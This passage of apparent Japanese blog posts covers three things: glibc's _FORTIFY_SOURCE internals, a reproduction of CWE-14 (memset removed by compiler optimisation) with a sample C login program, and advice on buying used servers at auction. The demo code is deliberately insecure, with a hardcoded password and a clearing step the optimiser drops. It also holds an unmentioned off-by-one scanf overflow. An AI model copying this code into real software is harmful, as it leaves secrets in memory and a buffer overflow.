とあるので何かしらのチェックが走っているはずですので、それがどのようなチェックなのか確認します。woboqのglibcを見てみました。

userspace/glibc/ Source Tree - Woboq Code Browser

 _FORTIFY_SOURCEが2で設定されているとき、__USE_FORTIFY_LEVELが2で定義されます。この__USE_FORTIFY_LEVELが使われている箇所はglibcでは74箇所あり(2021/3月現在)それをすべて調べれば何を検出するのかわかるはずです。

<stdlib/bits.stdlib.h>を理解してみる

 たとえば<stdlib.h>のなかでは、_USE_FORTIFY_LEVEL>0かつ__fortify_functionが定義されていたとき、<bits/stdlib.h>をincludeし、結果として<stdlib/bits/stdlib.h>がincludeされるようです。

__fortify_functionは、ファイル中で#define __fortify_functionと定義すると、

sample1.c:3: warning: "__fortify_function" redefined
    3 | #define __fortify_function
      | 
In file included from /usr/include/features.h:461,
                 from /usr/include/x86_64-linux-gnu/bits/libc-header-start.h:33,
                 from /usr/include/stdio.h:27,
                 from sample1.c:1:
/usr/include/x86_64-linux-gnu/sys/cdefs.h:356: note: this is the location of the previous definition
  356 | # define __fortify_function __extern_always_inline __attribute_artificial__

と表示されるのでstdio.h等ですでにdefineされているようです。

そして<stdlib/bits/stdlib.h>中でいくつかの関数がバッファオーバーフローを検知する機能を備えた関数へと変化しています。これらの関数の変化を理解するには__REDIRECT_NTH()と__NTH()という関数の仕様を知る必要があるようです。__REDIRECT_NTH()はglibc/misc/sys/cdefs.hの中で定義されていて

/* __asm__ ("xyz") is used throughout the headers to rename functions
   at the assembly language level.  This is wrapped by the __REDIRECT
   macro, in order to support compilers that can do this some other
   way.  When compilers don't support asm-names at all, we have to do
   preprocessor tricks instead (which don't have exactly the right
   semantics, but it's the best we can do).

#if defined __GNUC__ && __GNUC__ >= 2
# define __REDIRECT(name, proto, alias) name proto __asm__ (__ASMNAME (#alias))
# ifdef __cplusplus
#  define __REDIRECT_NTH(name, proto, alias) \
     name proto __THROW __asm__ (__ASMNAME (#alias))
# else
#  define __REDIRECT_NTH(name, proto, alias) \
     name proto __asm__ (__ASMNAME (#alias)) __THROW
# endif

となっています。 __THROWというのは

For C++ programs we add throw()
   to help it optimize the function calls. 

# if !defined __cplusplus && __GNUC_PREREQ (3, 3)
#  define __THROW        __attribute__ ((__nothrow__ __LEAF))
#  define __NTH(fct)        __attribute__ ((__nothrow__ __LEAF)) fct
# else
#  if defined __cplusplus && __GNUC_PREREQ (2,8)
#   define __THROW        throw ()
#   define __NTH(fct)        __LEAF_ATTR fct throw ()
#  else
#   define __THROW
#   define __NTH(fct)        fct
#  endif
# endif

とあるようにC++コンパイラ用のマクロのようです。同じところに__NTH()も定義されていました。注意深くコードを読んでいくと、__REDIRECT_NTH()は、既に定義された関数を、バイナリレベルでは同じコードでありながらも別のシンボル名と別の引数で扱うようコンパイラに教える関数のようです。__NTH()はある関数が呼ばれたときに何か別の関数を代わりに使うようにしたいときの場合分けに使うみたいです。

最終的にはglibc/misc/sys/cdefs.hを次のように解釈できました。


realpath()が呼ばれたとき

  1. 「__bos(__resolvedというバッファ) == (size_t)-1」ならばrealpath()をそのまま呼ぶ

  2. 「_LIBC_LIMITS_H_とPATH_MAXが定義されていて、__bos(__resolved) < PATH_MAX」ならば、__realpath_chk_warn()を呼ぶ

  3. __realpath_chk()を呼ぶ

(__realpath_chk_warn()の__realpath_chk()と違うところは__THROWでないこと)

どの関数を呼ぶにせよ__USE_FORTIFY_LEVEL>0のとき、__wurがその関数に__warn_unused_result__属性を付加している。

__bos(ptr)は__builtin_object_size (ptr, __USE_FORTIFY_LEVEL > 1)とあり

Object Size Checking (Using the GNU Compiler Collection (GCC))

に仕様が書いてある。

__realpath_chk()では第3引数であるresolved_lenが第2引数のresolved_pathのサイズであり、これが、PATH_MAXよりも小さいと__chk_fail()が呼ばれる。これは直感的には理解できなかったが、確かにPATH_MAXより小さいとPATH_MAXの長さのパスネームを入れられたときに困る。PATH_MAXが存在しないときは実際に__realpath()を呼んでみて、取られるバッファのサイズが十分に大きいか確認している。そして、最終的にはどれも、__realpath() の実行結果を返す。

場合分けや__wurが付加されているかどうかなど細部は異なるものの、realpath()と同様にptsname_r()、mbstowcs()、wcstombs()が呼ばれるときも*_chk()や*_chk_warn()が呼ばれたりする。


以上のことを理解すると__USE_FORTIFY_LEVELが使われている74箇所は、他で呼ばれているバッファを使う何らかの関数(例えば、__realpath())を実行する前にそのバッファのサイズを確かめる処理をしているのでは?という仮説が立ちます。また、特定の関数には__wurが付加されていて、返り値を使わないとwarningを吐くようになっていると思われます。

どの関数がバッファをチェックするようになり、返り値を使うよう警告するのか(TODOです。ごめんなさい)

それらを全て確かめてみましょう。 以下の条件で、それぞれのヘッダファイルを追加でincludeするようです。


  • __USE_FORTIFY_LEVEL > 0

#include <bits/setjmp2.h>

  • __USE_FORTIFY_LEVEL > 0 && defined __fortify_function && defined __va_arg_pack_len

#include <bits/fcntl2.h>

#include <bits/mqueue2.h>

  • __USE_FORTIFY_LEVEL > 0 && defined __fortify_function

#include <bits/poll2.h>

#include <bits/stdio2.h>

#include <bits/syslog.h>

#include <bits/stdlib.h>

#include <bits/unistd.h>

#include <bits/wchar2.h>

#include <bits/socket2.h>

  • __USE_FORTIFY_LEVEL > 0 && defined __GNUC__

#include <bits/select2.h>

  • __GNUC_PREREQ (3,4) && __USE_FORTIFY_LEVEL > 0 && defined __fortify_function

#include <bits/strings_fortified.h>


TODO: 次に、各ヘッダファイルの中でどのような関数のバッファをチェックしているのか確認します。

さて、glibcの中ではどうなっているかみたところで実際にコードを書いて確かめようとおもったのですが、ここで次のようなブログを見つけました。

__attribute__(alloc_size) を使わないと_FORTIFY_SOURCE を活かせないよ。という話 : 革命の日々 その2

ここで、同じことをやるのも冗長なのでリンクを貼るだけにします。見にいってください。kosakiさん、勉強になりました。ありがとうございます。

-D-FORTIFY-SOURCE=2とすれば大半のことは解決するはずですし、何か新しい攻撃方法を知ることができたわけではないですが、自作の関数でバッファを利用するときによりセキュアなコードを書けるようになったと思います。

glibcのような巨大なプログラムを読むのは初めてで、尚且つ他作のプログラムを読むのにも慣れておらず疲れてしまったので、一旦ここでこの記事は休憩します。マクロやポインタが入り乱れていて非常に読みにくいプログラムでしたが、次に読むときにはもっとスムーズに理解できると信じています。気が向いたらStackGuardやProPliceも使ってみたり回避の方法を探ってみたりして、記事を更新します。後kosakiさんのブログにあった簡易的なプログラムの実験が非常に分かりやすかったので、見た方が良いですよ。URLを再喝しておきます。

__attribute__(alloc_size) を使わないと_FORTIFY_SOURCE を活かせないよ。という話 : 革命の日々 その2

TODO: StackGuard、 ProPolice、/GSオプション、 canary、ASLR

(CWE−14)バッファをクリアするコードをコンパイラが除去してしまう脆弱性

原文: CWE - CWE-14: Compiler Removal of Code to Clear Buffers (4.3)

 

脆弱性の概要

  ソースコードに書かれているバッファに対するクリア処理が、もう二度と読み込まない領域に対する処理であった場合、コンパイラの最適化処理の際にその該当コードを不要なものとして省いてしまう脆弱性

より詳しくは以下の状況のときに起こる。

  1. 秘密のデータがメモリ上に格納されている。
  2. そのデータのクリア処理は、中身を上書きするという方法によって行われる。
  3. ソースコードコンパイルする際に最適化オプションを指定しており、上書き処理をする関数をコンパイラは、「dead store」である、つまり今後使わない領域を書き換える関数であると解釈してその関数の存在しないファイルを吐き出す。

関連する脆弱性

child of 

CWE - CWE-733: Compiler Optimization Removal or Modification of Security-critical Code (4.3)

TODO:上の脆弱性の内容もブログにまとめてその記事のリンクをここに貼る

脆弱性が生まれるタイミング

プラットフォーム

この脆弱性によって起こるセキュリティの侵害

 この脆弱性の結果、本来クリア処理すべきパスワードなどの極秘情報がメモリ上に残されたままになってしまい、それを攻撃者が見ることができた際、その情報を使って認証を突破するなどをされる。 

対策

  • コードの実装段階で機密情報を(可能であれば)「volatile」なメモリに格納するようにする。
  • ビルドしてコンパイルする際にコンパイラが「dead store」を取り除かないように設定する。
  • 機密情報を暗号化して格納する。

検知方法

Black Box

 black box methodではこの脆弱性を検知することはできない。なぜならばコンパイラは該当するコードそのものを消し去ってしまっていて、実際に動いているコードを解析しても、書いたプログラマがとあるメモリ領域をクリアしようと意図していたことなど知る由もないからだ。

White Box

 white box methodでは検知できる。ソースコードを確認できるからである。コンパイラが除去しがちなコードを慎重に探す必要がある。

脆弱性の再現

 ここまでは原文の内容をまとめただけなのでここからがメインパートである。原文の例を参考にして脆弱性を確認する。

// problem.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
const char pass[64] = "secretpass";

int GetPasswordFromUser(char pwd[])
{
    printf("Type your password: ");
    int check;
    check = scanf("%64s",pwd);
    if(1==check)
    {
        return 1;
    }
    return 0;
}

int CheckPassword(char pwd[])
{   
    int checkstring = strncmp(pwd, pass, 64);
    if(!checkstring)
    {
        return 1;
    }
    return 0;
}

void GetData()
{
    char pwd[64];
    if(GetPasswordFromUser(pwd))
    {
        if(CheckPassword(pwd))
        {
            printf("Correct Password!\n");
            printf("Secret Data is Iwashiira\n");
        } else {
            printf("Invalid Password\n");
        }
    }
    // クリア処理
    memset(pwd, 0, sizeof(pwd));
}

int main()
{
    GetData();
    return 0;
}

 チェックするためのパスワードもメモリ領域に置いちゃってるじゃんというツッコミが入りそうですが、ここで確認したいのは最適化処理を指定したときにmemset関数が消えているかどうかです。

gcc problem.c -o gccNoOpt
gcc problem.c -o gccOpt1 -O1
readelf -r gccNoOpt gccOpt1

gccNoOptとgccOpt1を比べてみる(見にくくてごめんなさい)と

File: gccNoOpt

Relocation section '.rela.dyn' at offset 0x610 contains 8 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000003d90  000000000008 R_X86_64_RELATIVE                    11e0
000000003d98  000000000008 R_X86_64_RELATIVE                    11a0
000000004008  000000000008 R_X86_64_RELATIVE                    4008
000000003fd8  000100000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_deregisterTMClone + 0
000000003fe0  000600000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.2.5 + 0
000000003fe8  000800000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000003ff0  000a00000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_registerTMCloneTa + 0
000000003ff8  000b00000006 R_X86_64_GLOB_DAT 0000000000000000 __cxa_finalize@GLIBC_2.2.5 + 0

Relocation section '.rela.plt' at offset 0x6d0 contains 6 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000003fa8  000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000003fb0  000300000007 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0
000000003fb8  000400000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
000000003fc0  000500000007 R_X86_64_JUMP_SLO 0000000000000000 memset@GLIBC_2.2.5 + 0
000000003fc8  000700000007 R_X86_64_JUMP_SLO 0000000000000000 strcmp@GLIBC_2.2.5 + 0
000000003fd0  000900000007 R_X86_64_JUMP_SLO 0000000000000000 __isoc99_scanf@GLIBC_2.7 + 0
File: gccOpt1

Relocation section '.rela.dyn' at offset 0x610 contains 8 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000003d98  000000000008 R_X86_64_RELATIVE                    11c0
000000003da0  000000000008 R_X86_64_RELATIVE                    1180
000000004008  000000000008 R_X86_64_RELATIVE                    4008
000000003fd8  000100000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_deregisterTMClone + 0
000000003fe0  000400000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.2.5 + 0
000000003fe8  000600000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000003ff0  000900000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_registerTMCloneTa + 0
000000003ff8  000a00000006 R_X86_64_GLOB_DAT 0000000000000000 __cxa_finalize@GLIBC_2.2.5 + 0

Relocation section '.rela.plt' at offset 0x6d0 contains 5 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000003fb0  000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000003fb8  000300000007 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0
000000003fc0  000500000007 R_X86_64_JUMP_SLO 0000000000000000 strcmp@GLIBC_2.2.5 + 0
000000003fc8  000700000007 R_X86_64_JUMP_SLO 0000000000000000 __printf_chk@GLIBC_2.3.4 + 0
000000003fd0  000800000007 R_X86_64_JUMP_SLO 0000000000000000 __isoc99_scanf@GLIBC_2.7 + 0

確かに最適化するとmemsetが消えています。これはclangでもおなじことが起こりました。radare2でデバッグしてみてもGetDataのmemset処理に関する部分は消去されていました。それでは対策として紹介されている方法を試してみます。

 まずvolatileをつける方法ですが、結論から言うとあまりうまくいきませんでした。volatileで宣言された領域を普通の関数に渡すとvolatileが「discard」されてしまうので扱う関数を工夫しなければいけないみたいなんですよね。strncmpの第一、第二引数はconst char*型がデフォルトですし、memsetの第一引数もvoid型としてが渡されるべきで、別の型を渡すとキャストされるみたいです。つまり別の関数を使わないといけなさそうですが、とりあえず放置してしまいました。少なくとも単純にコードのpwd[]をvolatileで宣言するだけでは改善できませんでした。

 次にコンパイラで除去しないように設定する方法ですが、コンパイラに詳しくないのでノータッチです。(なんのためにこの脆弱性の勉強をしてるんだろと言う気持ちになってきたぞ)

 最後の暗号化すると言うのは「まあ」というかんじで、結局その暗号化されたあとのデータを見ることができてしまうので根本的な解決にはなっていないような気がします。

 結論としては初期化処理をする関数だけ別ファイルに書いて最適化オプションなしでコンパイルして、後でまとめてリンクするのが(僕にとっては)丸いのかなと思っています。volatileを使いこなせればそんなことしなくてよさそうですけどね。今後もCWEを読んで勉強するぞ!

ヤフオクでサーバーを買うときの話。

 この記事はTSG Advent Calendar 2020の18日目の記事になります。投稿が遅れまして申し訳ありません。

はじめに

 今回はヤフオクを利用して中古のサーバー等を購入する際の注意点について話そうかと思います。最初に断っておきますが、この記事はヤフオクを利用したせどりのやり方を説明するような記事ではございません。例えばサーバーが家に欲しいけど新品は高くて手が出せない、といった僕のような学生向けの記事となります。

ヤフオクのPC関連における現況

 ヤフオクはネットオークションであることはご存知かと思います。今回はPC関連の話に限って話を進めていきます。まずはヤフオクを利用する際のメリットデメリットを整理しましょう。

 

 メリット

  • 他のフリマや中古販売店よりも安く買うことができる。
  • 今は市場に出回っていないものが買える。

 デメリット

  • 個人では修理ができないものをつかんでしまうことがある。
  • 保証がない。
  • 送料が高い。
  • 買ってから使用できるまでに時間がかかる。

 

 つまり、基本的には安く買うことに妥協してはいけず、修理できないものは買わないということがヤフオクで購入する上での鉄則です。デメリットの「時間がかかる」というのは、購入から自宅に届くまでの期間の話というよりも、届いてから実物が動かなくて原因を特定するのに手間取ることを意味します。

 次に出品者の特徴を整理します。ヤフオクでPC関連の出品をしている人たちは以下の三つのグループに分けられます。

 

  1. 個人であり、使わなくなったPCをそれなりの値段で処分したい人
  2. 個人であり、継続して利益を出す目的で販売をしている人
  3. 企業であり、継続して利益を出す目的で販売をしているストア

 

 そしてこの三者を見分ける簡単な方法があります。ヤフオクにおける個人間での取引は課税対象ではないので出品物に税はかかっていません。税金がかかってる場合は必ずストアの商品です。ストアか個人であるかは検索する際に絞り込むことができます。また、個人に紐づいている「出品者に対する評価」の個数が3桁をこえているならば、2のグループの利益目的の個人と判断して良いと思います。あと、「〜最強化計画」等の銘を打っている人も2のグループの人です。

実際に購入をする際にチェックするポイント

 ここでの大前提として買おうとしているものは既に決まっているということにします。サーバーを買うにしても用途に合わせて適切なスペックのものを選ぶ必要がありますが、それについて詳しくみるのは本記事の趣旨ではありません。

 まずはその商品の落札相場を調べる必要があります。ヤフオクの落札相場はググればすぐ出てきますので、そのサイトを見るわけですが、注意点として前述した3のグループの出品物で新品のパーツが採用されていないものを基準とするべきと考えます。新品のパーツをわざわざ買っているのは、そのような手間をかけた上でもより高い値段で売れる現状があるということです。(ノートパソコンの液晶のような致命的な部分を新品としているのはまたちょっと別な話です。)つまり、新品のパーツを含有している商品は割高なんです。また、個人での出品は写真の撮り方や公開情報が不足しているなど個人差があるので相場の把握の際には参考程度にしか見るべきではないと考えます。

 相場を知ったら次に現在出品されている物の中からお得なものがないか探すことになります。その際に注意すべき点を列挙し、それぞれ説明していきます。

  • 価格

 言わずもがなです。送料が別表記かどうかも要チェックです。送料0というのは、当たり前ですがその分は本体の料金に含まれています。商品のサイズが大きいとそれなりの送料がかかります。中には梱包の代金を送料に含めているようなケースも見受けられます。送料が明記されていない場合もありますのでその時は高めに見積もっておくべきです。オークション開始時の価格も判断材料の一つです。

  •  出品者に対する評価のいい評価の割合と悪い評価の内容

 地雷な出品者をひかないための措置です。

  • ウォッチ数と直近で同じ商品を落札できなかった人の数

 ウォッチ数はスマホのアプリからしか見ることはできないですが、どのくらいの人が関心をもっているかの重要な指標です。ウォッチしていないと価格の変化の通知がこないので当然自分もウォッチをします。直近の同じ商品の入札者数が多いのにウォッチが極端に少なければ今見ている商品に問題がある可能性が高いです。例えば値段が高すぎたり、修理不能な重大欠陥があったりと。

  • 出品者のグループ

 前述したグループについての話です。まず第一に2のグループである継続的な利益目的の個人からの購入は割高なのでお勧めしません。企業が型落ちのサーバーを処分するときには個人には普通依頼しませんよね。個人だと特別な仕入れ先をもっているわけではなく、個人で頑張ってる分の労力が価格に反映されてしまっています。そしてこういった方々は大抵即決価格かそれなりの値段からスタートのオークションです。もし仮に開始価格のまま終わってしまったとしても損しないような価格設定がなされていると見て良いと思います。3のグループだと企業なのでたまに期間限定の保証があったりしますが、あってないようなものです。1のグループはなかなかお目にかかることはなく、ものによるという感じです。また、中には個人アカウントであるにもかかわらず当社という表現をつかっている人たちがいます。このような人たちは税金分のお金を余分に本体料金の中に含めていると解釈します。基本的には3の企業から購入することになると思います。

  • 不具合のある箇所

 これこそが最も重要な情報なので次のトピックとして重点的に見ていきます。

不具合のある箇所についてのチェック

 故障に関する情報は大抵明かされていませんがまず逆に考えることで推測できます。ヤフオクではたいていここまでは確認できたよという書き方がされます。例えば、通電確認済みだとか、bios起動確認済みだとか。出品者で特に商売でやっている人はいかにして高く売るかを考えています。画面が映るならそれを明記して写真を載せますし、外付けのハードドライブで起動できたならそれをアピールします。ですから、通電確認済みとだけあるなら画面は映りませんし、bios起動確認済みとだけあるならそれより先に難があって単純に外付けのディスクを繋げるだけでは起動しないと考えるべきです。明かされているプラスの情報以外はすべてダメな状態であると解釈してから次のステップに進みます。

 次に実際の商品の故障箇所を推測していきます。まず最初にその商品の公式のマニュアルを読み込むことを怠ってはいけません。不具合の原因を特定するのにここをチェックしないのは問題外です。次に故障事例を探してその解決方法を探します。公式ドキュメントから個人のブログまで、修理できるとはっきりと確信できるまで探してください。場合によってはwikiや5chに載っていたりします。確信できなかったらその時点で購入は避けた方がいいです。また、原因が特定できたとしても交換用のパーツの値段が高かったり電子工作が必要なら避けるべきだと思います。この記事ではこれこれがだめならここが原因だと断定することはしません。ものによるからです。

 さて、不具合のある箇所を推測したら場合によってはその部分のパーツは別で買うことも視野に入れるわけですが、ここでその商品では使えないものを購入してしまうことがあります。たとえば、ECCメモリをつかえるのかどうか、RDIMMなのかUDIMMなのか、PC3でもだいじょうぶなのか、それによってパーツの値段が変わってきますし間違えた物を買ったら悲惨です。アップグレードを検討する際にも注意が必要なのでメモリとかは特に重要です。買った時は4GBでも十分だと思っても増設したくなったりします。例えばRDIMMは投げ売りされている一方でUDIMMはそこそこ高いです。UDIMM の2GBのサーバーが手ごろな値段だったとしてもメモリを増やすことを考えるとお得ではないというケースもあり得ます。

実際の失敗談

  mac pro early 2009を買った時の話です。二つのcpuが乗っているモデルですがそれなりにお得な価格でした。通電確認済みとだけあり、画面が映っている写真はなかったので画面は映らないんだろうなと考えてその場合の原因と修理方法を検索し、グラボの不良だと結論づけて純正のグラボとその商品を別々にヤフオクで買いました。両方合わせても少しお得だったんです。ウォッチが他の商品とくらべてすこし少ないのは気になりましたが、難があるのと開催期間が短かったからだと考え落札しました。純正のグラボを買ったのはmacefiでの起動の際に純正じゃないと起動ディスクの選択ができないからです。しかし、結果はグラボが原因ではありませんでした。実は他にもチェックすべき点があったんです。それはmac固有のものだと思いますが、起動音の有無です。macの修理を専門としている業者のブログにだけぼそっと書いてあったのを後から発見したんですが、通電しファンは回るが起動音がせず画面が映らないのはドーターボードというcpuの乗っている基盤の故障が原因で、ドーターボードを交換しないとダメだったんです。そして、ドーターボードがこれまた高いんですね。マザーボードよりもだいぶ高い。この失敗は運が悪かった点もあります。ヤフオクの同じ商品の他のどのページにも起動音のことは書いていないんですね。つまり普通はグラボの故障なんです。しかし、もし事前に一連の情報を知っていれば質問の欄で起動音がするのかどうか聞けば回避できたかもしれません。結果としては無駄にグラボを一個買った上商品そのものも全然お得ではなかったと。大失敗の極みでした。

おわりに

 いかがでしたでしょうか。非常にめんどくさいと感じたかもしれませんがそれでもやらないと必ず損をします。ここまで書いたことはなにも専門的なことではありません。ヤフオクで大量に購入をしていたらいずれ誰でも気づくようなことですが、失敗をたくさんするのはいやですよね。特に安いサーバーを一台買うためだけにヤフオクを使った場合最悪です。

 失敗談はデスクトップの話でしたが大半の学生がヤフオクを使ってPCを買う時は中古でサーバーを買ってみたい時ぐらいだと思います。2世代から3世代くらい 前の業務サーバーが投げ売りされてるので、置くスペースさえあればぜひ買いましょう。僕はha8000/ts10と言う日立の2012年製のサーバーを送料込みで2000円で落札できたのでそれを使っています。個人のファイルサーバーとしてはそれでも十分でした。ここまで読んでいただいてありがとうございます。もっと技術的なことを書いていけるようになりたいですね。